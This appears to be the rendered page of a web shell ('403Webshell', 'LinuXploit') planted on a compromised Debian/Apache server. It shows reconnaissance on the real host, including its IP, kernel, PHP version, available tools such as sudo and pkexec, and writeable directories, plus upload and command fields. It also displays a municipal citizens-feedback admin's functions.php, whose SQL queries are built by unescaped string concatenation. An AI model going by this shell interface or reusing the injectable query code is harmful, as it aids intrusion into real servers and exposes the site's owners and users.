403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/Citizens_feedback/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/Citizens_feedback/admin/functions.php
<?php
$crlf=chr(13).chr(10); 
if(!isset($Refresh)) $Refresh='1';



$KB=1024;
$MB=$KB*$KB;
$GB=$MB*$KB; 
$TB=$GB*$KB;




	
function array_stripslashes($G){
	if(is_array($G)){
		foreach($G as $Gk=>$Gv)
			$G[$Gk]=array_stripslashes($Gv);
		return $G;
		}
		else return stripslashes($G);
	}




function withoutQuotes($str){
	return mb_substr($str,1,mb_strlen($str)-2);
	}
function random($min=0,$max=1){
	$r=rand($min,$max);
	return (int)$r;
	}



function setLastActiveTime(){
	global $baza;
	if(isset($_SESSION['WebUser'])){
		$row=$_SESSION['WebUser'];
		mysqli_query($baza,'update Users set LastAccess="'.time().'" where ID='.$row['ID']);
		}
	}


function getSlug($str,$separator = '-'){
	//$text = mb_strtolower($text, 'UTF-8');
	$str = strip_tags($str);
	$str = trim($str);

	$str = preg_replace("/[;+\/#@!$%\^&*|\'\"?<>\.,:_~`()]/", '\\1', $str);
	$str = preg_replace("/(\s)+/", $separator, $str);

	$from_ge = array(' ','ა','ბ','გ','დ','ე','ვ','ზ','თ','ი','კ','ლ','მ','ნ','ო','პ','ჟ','რ','ს','ტ','უ','ფ','ქ','ღ','ყ','შ','ჩ','ც','ძ','წ','ჭ','ხ','ჯ','ჰ','ზ');
	$to = array($separator,'a','b','g','d','e','v','z','t','i','k','l','m','n','o','p','j','r','s','t','u','f','q','g','y','sh','ch','c','dz','w','ch','x','dj','h','z');
	$str = str_replace($from_ge, $to, $str);

	$from_ru = array(' ','а','б','в','г','д','е','ё','ж','з','и','й','к','л','м','н','о','п','р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я');
	$to = array($separator,'a','b','v','g','d','e','e','j','z','i','y','k','l','m','n','o','p','r','s','t','u','f','x','c','ch','sh','sh','','i','','e','iu','ia');
	$str = str_replace($from_ru, $to, $str);
	$from_ru_UPPER = array(' ','А','Б','В','Г','Д','Е','Ё','Ж','З','И','Й','К','Л','М','Н','О','П','Р','С','Т','У','Ф','Х','Ц','Ч','Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я');
	$str = str_replace($from_ru_UPPER, $to, $str);
	
	$str = str_replace('»','',$str);
	$str = str_replace('«','',$str);
	$str = str_replace('---','-',$str);
	$str = preg_replace('/[^a-zA-Z0-9\s_\.-]/', '', $str); // remove all non alpha-numeric-space-underscore-hypen characters
	$str = trim($str);
	$str = preg_replace('/[\s_]/', $separator, $str); // convert all spaces and underscores to hypens
	$str = preg_replace('/[-]+/', $separator, $str); // convert multiple hypens into one
	$str = trim($str);
	
	$str = trim($str, $separator);
	return strtolower($str);
	}



function clearLt($t){ return rn2crln(str_replace('<','&lt;',$t)); }


function getIPVal($IP){
	$IPVal=explode('.',$IP);
	$IPVal=(($IPVal[0]*256+$IPVal[1])*256+$IPVal[2])*256+$IPVal[3];
	return($IPVal);
	}




function saveOptions(){
	global $baza; 
	$Options=$_SESSION['Options'];
	foreach($Options as $On=>$Ov){		
		$ptk=mysqli_query($baza,'select * from cf_Options where Name="'.$On.'"');
		if($row=mysqli_fetch_array($ptk,1)){
			$sql='update cf_Options set `Value`="'.normalQuotes($Ov['Value']).'", `Unit`="'.$Ov['Unit'].'", `Comment`="'.normalQuotes($Ov['Comment']).'"  where ID='.$row['ID'];
			mysqli_query($baza,$sql);
			}
			else{
			$sql='insert into cf_Options (Name,`Value`,`Unit`,`Comment`) values ("'.$On.'","'.normalQuotes($Ov['Value']).'","'.$Ov['Unit'].'","'.normalQuotes($Ov['Comment']).'")';
			mysqli_query($baza,$sql);
			}
		}
	$ptk=mysqli_query($baza,'select * from cf_Options ');
	while($row=mysqli_fetch_array($ptk))
		if(!isset($Options[$row['Name']]))
			mysqli_query($baza,'delete from  cf_Options where ID='.$row['ID']);
	}
function loadOptions(){
	global $baza; 
	
/*
$ptk=mysqli_query($baza,"CREATE TABLE IF NOT EXISTS `cf_Options` (
	`ID` int(11) NOT NULL AUTO_INCREMENT,
	`Name` tinytext NOT NULL,
	`Value` tinytext NOT NULL,
	`Unit` tinytext NOT NULL,
	`Comment` tinytext NOT NULL,
	PRIMARY KEY (ID)
	) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; ");
if(!$ptk) die(mysqli_error($baza));
*/
	
	$ptk=mysqli_query($baza,'select * from Options');
	$Options=array();
	if($ptk)
	while($row=mysqli_fetch_array($ptk,1))
		$Options[$row['Name']]=$row;
	$_SESSION['Options']=$Options;
	}

if(!isset($_SESSION['Options-'])) loadOptions();
$Options=$_SESSION['Options'];

function domain_exists($email, $record = 'MX'){
	list($user, $domain,$rec) = explode('@', trim($email).'@@');
	if($user=='') return false;
		else
	if($domain=='') return false;
		else
	if($rec!='') return false;
		else
	return checkdnsrr($domain, $record);
	}

function _Interface($Name0,$LngID=0){
	global $LangID,$Interface,$Langs,$baza;
	if(!isset($LangID)) $LangID=1;
	$Name=md5($Name0);
	if(!isset($Interface[$Name])){
		foreach($Langs as $LangID0=>$Lang0){
			mysqli_query($baza,'insert into cf_Interface (Name,LangID,Value) values ("'.$Name.'","'.$LangID0.'","'.addslashes($Name0).'")');
			//$Interface[$Name][$LangID0]=array('Value'=>$Name0,'ID'=>mysqli_insert_id($baza));
			} 
		//$_SESSION['Interface']=$Interface;
		$Interface=$_SESSION['Interface']=getInterface();
		}else
	if(!isset($Interface[$Name][$LangID])){
		mysqli_query($baza,'insert into cf_Interface (Name,LangID,Value) values ("'.$Name.'","'.$LangID.'","'.addslashes($Name0).'")');
		//$Interface[$Name][$LangID]=array('Value'=>$Name0,'ID'=>mysqli_insert_id($baza));
		//$_SESSION['Interface']=$Interface;
		$Interface=$_SESSION['Interface']=getInterface();
		}
	if($LngID>0)
		return $Interface[$Name][$LngID]['Value'];
		else
		return $Interface[$Name][$LangID]['Value'];
	}

function file_extension($filename){
    $path_info = pathinfo($filename);
    return $path_info['extension'];
	}

function normalQuotes($t){
	return str_replace(array('"',',,',"''","´´","``","''"),array('&quot;','&quot;','&quot;','&quot;','&quot;','&quot;'),$t);
	return ($t);
	}

function onlyChars($availChars,$replaceTo,$str){
	$res='';
	for($i=0; $i<strlen($str); $i++){
		$c=substr($str,$i,1);
		if(strpos($availChars,$c)!==false)
			$res.=$c; else $res.=$replaceTo;
		}
	return $res;
	}

function spaces($level,$char=' '){
	$ret='';
	for($i=0; $i<$level; $i++)
		$ret.=$char;
	return $ret;
	}

function filterHex($t){ return strtoupper(dechex(hexdec($t))); }

function rn2br($t){
	return str_replace('\\r\\n','<br />',$t);
	}
function rn2crln($t){
	return str_replace('\\r\\n',chr(13).chr(10),$t);
	}
function cr2br($t){
	return str_replace(chr(10),'<br />',$t);
	}
function rn2space($t){
	return str_replace('\\r\\n',' ',$t);
	}
function nonbstr($t){
		return str_replace('&nbsp;',' ',$t);
		}
function floatMctime(){
	$t=explode(' ',microtime());
	return (float)$t[0]+(float)$t[1];
	}
function mctime(){
	$t=explode(' ',microtime());
	$t0=explode('.',$t[0]);
	return $t[1].substr($t0[1],0,6);
	}


function reArray2(&$arrs) {
	$file_ary = array();
	if($arrs)
	if(is_array($arrs))
	foreach ($arrs as $key1=>$arr) 
		foreach ($arr as $key2=>$elem) 
			$file_ary[$key2][$key1] = $elem;
	return $file_ary;
	}
function reArrayFiles(&$file_post) {
	$file_ary = array();
	$file_count = count($file_post['name']);
	$file_keys = array_keys($file_post);
	// if($file_count==1) $file_ary=array($file_post); else
	for ($i=0; $i<$file_count; $i++) 
		foreach ($file_keys as $key) 
			$file_ary[$i][$key] = $file_post[$key][$i];
	return $file_ary;
	}

function ImageTrueColorToPalette2($image, $dither, $ncolors) {
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy($colors_handle);
    return $image;
}
function img_split($ID, $src, $dstPrefix, $partWidth=200, $partHeight=200){
	$ext=getExt($src);
	$NoImage=false;
	if(($ext=='jpg')||($ext=='jpeg')) $src_img=imagecreatefromjpeg($src); 
		else
	if($ext=='gif') $src_img=imagecreatefromgif($src); 
		else
	if($ext=='png') { 
		$src_img=imagecreatefrompng($src); 
		imagesavealpha($src_img, true);  
		$src_w = imagesx($src_img);
		$src_h = imagesy($src_img);
		$final_img = imagecreatetruecolor($src_w, $src_h);
		imagesavealpha($final_img, true);
		$trans_colour = imagecolorallocate($final_img, 255, 255, 255); 
		imagefill($final_img, 0, 0, $trans_colour);
		imagecopy($final_img, $src_img, 0, 0, 0, 0, $src_w, $src_h);
		$src_img=$final_img;
		}
		else
	if($ext=='bmp') $src_img=imagecreatefromwbmp($src); 
		else $NoImage=true;
	if(!$NoImage){
		$src_w = imagesx($src_img);
		$src_h = imagesy($src_img);
		$stx=$sty=0;
		$ky=0;
		while($sty<$src_h){
			$kx=$stx=0;
			while($stx<$src_w){
				$fn=md5($ID.'_'.$kx.'_'.$ky);
				if($stx+$partWidth<=$src_w) $resW=$partWidth;
					else $resW=$src_w-$stx;
				if($sty+$partHeight<=$src_h) $resH=$partHeight;
					else $resH=$src_h-$sty;
				$dst_img=imagecreatetruecolor($resW, $resH); 
				
				imagecopyresampled($dst_img,$src_img,0,0,$stx,$sty,$resW,$resH,$resW,$resH);
				$dst_img=ImageTrueColorToPalette2($dst_img, false, 128);
/*
				$background = imagecolorallocatealpha($dst_img, 255, 255, 255, 127);
				imagecolortransparent($dst_img, $background);
				imagealphablending($dst_img, false);
				imagesavealpha($dst_img, true);
*/
				if($ext=='jpg') imagejpeg($dst_img, $dstPrefix.'_'.$fn.'.jpg',90);
					elseif($ext=='png') imagepng($dst_img, $dstPrefix.'_'.$fn.'.png',9);
					elseif($ext=='gif') imagegif($dst_img, $dstPrefix.'_'.$fn.'.gif');
				imagedestroy($dst_img);
				$kx++;
				$stx=$kx*$partWidth;
				}
			$ky++;
			$sty=$ky*$partHeight;
			}
		}
	}
function img_resize($src, $dst, &$ext, $img_w=788, $img_h=576,  $txt='', $resExt='jpg', $AddLogo=false, $AddWatermark=false, $Fit=false, $Resize=false, $Filling=false){ // fill color white 
	list($width, $height, $imagetype) = getimagesize($src);
	if($img_w==0) $img_w=$width;
	if($img_h==0) $img_h=$height;
	/*
	$imagetype=exif_imagetype($src);
	*/
	if($imagetype==1) $ext='gif';
	if($imagetype==2) $ext='jpg';
	if($imagetype==3) $ext='png';
	if($imagetype==6) $ext='bmp';
	/* */
	$ext=strtolower($ext);
	$NoImage=false;
	if(($ext=='jpg')||($ext=='jpeg')) $src_img=imagecreatefromjpeg($src); 
		else
	if($ext=='gif') $src_img=imagecreatefromgif($src); 
		else
	if($ext=='png') { 
		$src_img=imagecreatefrompng($src); 
		imagesavealpha($src_img, true);  
		}
		else
	if($ext=='bmp') $src_img=imagecreatefromwbmp($src); 
		else $NoImage=true;
	if(!$NoImage){
		$dx=0; $dy=0;
		$src_w = imagesx($src_img);
		$src_h = imagesy($src_img);
		$x=0; $y=0; $h=$src_h; $w=$src_w; 
		if($Filling){
			$img_w0=$img_w; $img_h0=$img_h;
			if ($src_w/$src_h<$img_w/$img_h)  $img_w0=$img_h*($src_w/$src_h); else $img_h0=$img_w*($src_h/$src_w);  // Fit dimentions
			$dx=round(($img_w-$img_w0)/2);
			$dy=round(($img_h-$img_h0)/2);
			}else
		if(!$Resize)
		if($Fit){
			if(($src_w>$img_w)||($src_h>$img_h)) // if Big then fit
				if ($src_w/$src_h<$img_w/$img_h)  $img_w=$img_h*($src_w/$src_h); else $img_h=$img_w*($src_h/$src_w);  // Fit dimentions
				else {
					$img_w=$src_w;
					$img_h=$src_h;
					}
			}
			else
			if ($src_w/$src_h<$img_w/$img_h)  { $h=$src_w/($img_w/$img_h); $y=($src_h-$h)/2; }	  // Crop dimentions
				else { $w=$src_h/($img_h/$img_w); $x=($src_w-$w)/2; } 
				
		$dst_img=imagecreatetruecolor($img_w, $img_h); 
		// Make a new transparent image and turn off alpha blending to keep the alpha channel
		$background = imagecolorallocatealpha($dst_img, 255, 255, 255, 127);
		imagecolortransparent($dst_img, $background);
		imagealphablending($dst_img, false);
		imagesavealpha($dst_img, true);

		if($Filling){$cl = imagecolorallocate($dst_img, 255, 255, 255); imagefilledrectangle($dst_img,0,0,$img_w,$img_h,$cl); $img_w=$img_w0; $img_h=$img_h0; }
		imagecopyresampled($dst_img,$src_img,$dx,$dy,$x,$y,$img_w,$img_h,$w,$h); 
		if($txt!=''){	 
			$cl = imagecolorallocate($dst_img, 255, 255, 255);
			imagestring($dst_img, 3, 5, $img_h-15, $txt, $cl); 
			}
		if($AddWatermark){
			$wmSrc_img=imagecreatefrompng($AddWatermark); 
			$wmsrc_w = imagesx($wmSrc_img);
			$wmsrc_h = imagesy($wmSrc_img);

			$w = imagesx($dst_img);
			$h = imagesy($dst_img);

			$wmdst_h=$w*$wmsrc_h/$wmsrc_w;
			$wmdst_w=$w;
			
			$dest_x = ($w-$wmdst_w)/2;  
			$dest_y = ($h-$wmdst_h)/2; 
			
			imagealphablending($dst_img, true);
			imagesavealpha($dst_img, true);
			imagealphablending($wmSrc_img, true);  
			imagecopyresampled($dst_img,$wmSrc_img,$dest_x,$dest_y,0,0,$wmdst_w,$wmdst_h,$wmsrc_w,$wmsrc_h); 
			}
			
		if($AddLogo){
			$wmSrc_img=imagecreatefrompng('img/multimedia/wmLogo.png'); 
			$wmsrc_w = imagesx($wmSrc_img);
			$wmsrc_h = imagesy($wmSrc_img);
			$dest_x = $img_w - $wmsrc_w-10 ;  
			$dest_y = 10; // $img_h - $wmsrc_h - 1; 
			imagealphablending($dst_img, true);
			imagealphablending($wmSrc_img, true); 
			imagecopy($dst_img, $wmSrc_img, $dest_x, $dest_y, 0, 0, $wmsrc_w, $wmsrc_h);
			}
			
		if($resExt==''){
			if(($ext=='jpg')||($ext=='jpeg')||($ext=='bmp')) { $ext='jpg'; imagejpeg($dst_img, $dst.'.'.$ext,90); return 'jpg'; }
				else
			if($ext=='gif') { imagegif($dst_img, $dst.'.'.$ext); return 'gif'; }
				else
			if($ext=='png') { imagepng($dst_img, $dst.'.'.$ext); return 'png'; }
			}else{
			$ext=$resExt;
			if(($ext=='jpg')||($ext=='jpeg')||($ext=='bmp')) { $ext='jpg'; imagejpeg($dst_img, $dst.'.'.$ext,90); return 'jpg'; }
				else
			if($ext=='gif') { imagegif($dst_img, $dst.'.'.$ext); }
				else
			if($ext=='png') { imagepng($dst_img, $dst.'.'.$ext); }
			}
		}
	};

function isImage($Ext){
	$Images=array('jpg','gif','png','jpeg','bmp');
	return (in_array($Ext,$Images));
	}

function info($s,$Margin_top=50,$Margin_bottom=0){ 
	echo '<div align="center" style="margin:'.$Margin_top.'px 0px '.$Margin_bottom.'px ">
	<table border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="border:1px solid #aabbff; height:60px; margin:10px;" align="center" class="normal"><tr>
	<td align="center" valign="middle"><div style="width:70px; height:70px; background:url(admin/img/info.png) center right no-repeat;"></div></td>
	<td valign="middle" align="center" style="padding:20px;     vertical-align: middle;">'.$s.'</td></tr></table></div>';
	}
function error($t,$Margin_top=50,$Margin_bottom=0){ 
	global $ErrorCode;
	$ErrorCode=1;
	echo '<div align="center" style="margin:'.$Margin_top.'px 0px '.$Margin_bottom.'px ">
	<table border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="border:1px solid #aabbff; height:60px; margin:10px;" align="center" class="normal"><tr>
	<td align="center" valign="middle"><div style="width:70px; height:70px; background:url(admin/img/error.png) center right no-repeat;"></div></td>
	<td valign="middle" align="center" style="padding:20px;">'.$t.'</td></tr></table></div>';
	}


function smallText ($txt, $count=300){
	$txt.=' ';
	$cc=mb_strlen($txt,'UTF-8');
	if ($cc>$count) 
		$txt=mb_substr($txt,0,mb_strpos($txt,' ',$count,'UTF-8'),'UTF-8').'  ...'; 
	return $txt;
	}
function changeUrl($var,$val,$varDel=array(),$url=''){ 
	if(!is_array($var)) $var=explode(',',$var);
	if(!is_array($val)) $val=explode(',',$val);
	if(!is_array($varDel)) $varDel=explode(',',$varDel);
	if($url=='') $url=$_SERVER['REQUEST_URI'];
	$u=parse_url ($url);
	if(isset($u['query']))
		parse_str($u['query'],$uArray);
		else $uArray=array();
	foreach($var as $vn =>$vv)
		if ($vv!='')
			$uArray[$vv]=$val[$vn];
	foreach($varDel as $vn)
		unset($uArray[$vn]);
	$url='?'.http_build_query($uArray);
	/*
	foreach($uArray as $un => $ul)
		if($url!='?') 
			if(is_array($ul))
				$url.='&'.$un.'='.serialize($ul);
				else
				$url.='&'.$un.'='.$ul;
			else $url.=$un.'='.$ul;
	*/
	return $url;
	}

	

function Paging($Count, $st, $RowsPerPage, $url='') { 
	if($url=='')  $url=$_SERVER['REQUEST_URI'];
	$PagesCount=floor($Count/$RowsPerPage);
	if($PagesCount*$RowsPerPage<$Count) $PagesCount++;
	
	$CurPage=floor($st/$RowsPerPage);
	if($CurPage*$RowsPerPage<$st) $CurPage++;
	
	$ppCount=10;
	$p1=floor($CurPage/$ppCount)*$ppCount+1;
	$p2=$p1+$ppCount-1;
	if($p2>$PagesCount) $p2=$PagesCount;
	echo '<div align="center" style="padding:10px">';
	if($p1>1) echo ' <a href="'.changeUrl('st',($p1-2)*$RowsPerPage, '',$url).'"><img src="img/pg_l.gif" STYLE="vertical-align: bottom" border=0/></a>';
	for($i=$p1; $i<=$p2; $i++)
		if(($CurPage+1)==$i)  echo ' <span class="activePage" >'.$i.'</span>';
			else echo ' <a class="pages" href="'.changeUrl('st',($i-1)*$RowsPerPage, '',$url).'">'.$i.'</a>';
	if($p2<$PagesCount) echo ' <a href="'.changeUrl('st',($p2)*$RowsPerPage, '', $url).'"><img src="img/pg_r.gif" STYLE="vertical-align: bottom" border=0/></a>';
	echo '</div>';		
	}


function twoDigit($i){
	$i=(int)$i;
	if($i<10) return '0'.$i; else return $i;
	}
function twoDecimals($i){
	$i=(float)$i;
	return number_format($i, 2);
	}
	
function getExt($s){
	while (strpos('~'.$s,'.')) $s=substr($s,strpos($s,'.')+1);
	return strtolower($s);
	}

function filterHTML($Text,$tags,$attrib,$Escape){
	global $baza;
	if(!is_array($tags)) $tags=explode(' ',$tags);
	if(!is_array($attrib)) $attrib=explode(' ',$attrib);
	$Text=str_replace('&lt;','<',$Text);
	$Text = preg_replace('@<script[^>]*?>.*?</script>@si', '', $Text); 
	$tag='';
	foreach($tags as $t)
		$tag.='<'.$t.'>';
	$Text = strip_tags($Text,$tag); // '<b><strong><br><em><i><p><a>'
	$sa = new StripAttributes();
	$sa->allow = $attrib; // array( 'align','href','target','src');
	if($Escape)
		$Text = mysqli_real_escape_string($baza, $sa->strip( stripslashes($Text)));
	else
		$Text =  $sa->strip( stripslashes($Text));
	return ($Text);
	}

function smartFilter($Text,$Escape=true){
	$Text=str_replace('\\r\\n',' ',$Text);
	$Text=str_replace('style="text-align: left;"','align="left"',stripslashes($Text));
	$Text=str_replace('style="text-align: center;"','align="center"',stripslashes($Text));
	$Text=str_replace('style="text-align: right;"','align="right"',stripslashes($Text));
	$Text=str_replace('style="text-align: justify;"','align="justify"',stripslashes($Text));
	$Text=str_replace('align="left" align=','align=',stripslashes($Text));
	$Text=str_replace('align="center" align=','align=',stripslashes($Text));
	$Text=str_replace('align="right" align=','align=',stripslashes($Text));
	$Text=str_replace('align="justify" align=','align=',stripslashes($Text));

	$Text=str_replace('<div','<p',$Text);
	$Text=str_replace('</div','</p',$Text);
	return (filterHTML($Text,'b strong br em i p a ul li ol u blockquote sub sup h2 h4 h5 section img','href target title align src tom',$Escape));
	}
	
function onlyDigits($p){
	return preg_replace("/[^0-9]/", "",$p);
	}
 
/**
* Strip attribute Class
* Remove attributes from XML elements
* @author David (semlabs.co.uk)
* @version 0.2.1
*/
function reg_escape( $str ){
	$conversions = array( "^" => "\^", "[" => "\[", "." => "\.", "$" => "\$", "{" => "\{", "*" => "\*", "(" => "\(", "\\" => "\\\\", "/" => "\/", "+" => "\+", ")" => "\)", "|" => "\|", "?" => "\?", "<" => "\<", ">" => "\>" );
	return strtr( $str, $conversions );
	}
class StripAttributes { 
	public $str			= '';
	public $allow		= array();
	public $exceptions	= array();
	public $ignore		= array();
	
	public function strip( $str )	{
		$this->str = $str;		
		if( is_string( $str ) && strlen( $str ) > 0 )		{
			$res = $this->findElements();
			if( is_string( $res ) )
				return $res;
			$nodes = $this->findAttributes( $res );
			$this->removeAttributes( $nodes );
			}
		return $this->str;
		}
	
	private function findElements()	{
		# Create an array of elements with attributes
		$nodes = array();
		preg_match_all( "/<([^ !\/\>\n]+)([^>]*)>/i", $this->str, $elements );
		foreach( $elements[1] as $el_key => $element )		{
			if( $elements[2][$el_key] )			{
				$literal = $elements[0][$el_key];
				$element_name = $elements[1][$el_key];
				$attributes = $elements[2][$el_key];
				if( is_array( $this->ignore ) && !in_array( $element_name, $this->ignore ) )
					$nodes[] = array( 'literal' => $literal, 'name' => $element_name, 'attributes' => $attributes );
				}
			}
		
		# Return the XML if there were no attributes to remove
		if(!isset($nodes[0])) return $this->str;
			if( !$nodes[0]) return $this->str;
				else return $nodes;
		}
	
	private function findAttributes( $nodes ) {
		# Extract attributes
		foreach( $nodes as &$node ){
			preg_match_all( "/([^ =]+)\s*=\s*[\"|']{0,1}([^\"']*)[\"|']{0,1}/i", $node['attributes'], $attributes );
			if( $attributes[1] ){
				$atts=array();
				foreach( $attributes[1] as $att_key => $att ) {
					$literal = $attributes[0][$att_key];
					$attribute_name = $attributes[1][$att_key];
					$value = $attributes[2][$att_key];
					$atts[] = array( 'literal' => $literal, 'name' => $attribute_name, 'value' => $value );
					}
				$node['attributes'] = $atts;
				unset( $atts );
				}
			else
				$node['attributes'] = null;
			}
		return $nodes;
		}
	
	private function removeAttributes( $nodes ){
		# AllCaps Attributes
		foreach( $this->allow as $k => $s )
			$this->allow[$k]=strtoupper($s);
		# Remove unwanted attributes
		foreach( $nodes as $node )		{
			# Check if node has any attributes to be kept
			$node_name = $node['name'];
			$new_attributes = '';
			if( is_array( $node['attributes'] ) )			{
				foreach( $node['attributes'] as $attribute )				{
					if( ( is_array( $this->allow ) && in_array( strtoupper($attribute['name']), $this->allow ) ) || $this->isException( $node_name, $attribute['name'], $this->exceptions ) )
						$new_attributes = $this->createAttributes( $new_attributes, $attribute['name'], $attribute['value'] );
					}
				}
			$replacement = ( $new_attributes ) ? "<$node_name $new_attributes>" : "<$node_name>";
			$this->str = preg_replace( '/'. reg_escape( $node['literal'] ) .'/', $replacement, $this->str );
			}
		}
	
	private function isException( $element_name, $attribute_name, $exceptions )	{
		if( array_key_exists($element_name, $this->exceptions) )		{
			if( in_array( $attribute_name, $this->exceptions[$element_name] ) )
				return true;
			}		 
		return false;
		}
	
	private function createAttributes( $new_attributes, $name, $value )	{
		if( $new_attributes )
			$new_attributes .= " ";
		$new_attributes .= "$name=\"$value\"";
		
		return $new_attributes;
		}
	}




function xml2array($data) {
	return json_decode(json_encode($data),true);
	}




// print_r($Interface); die();
	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit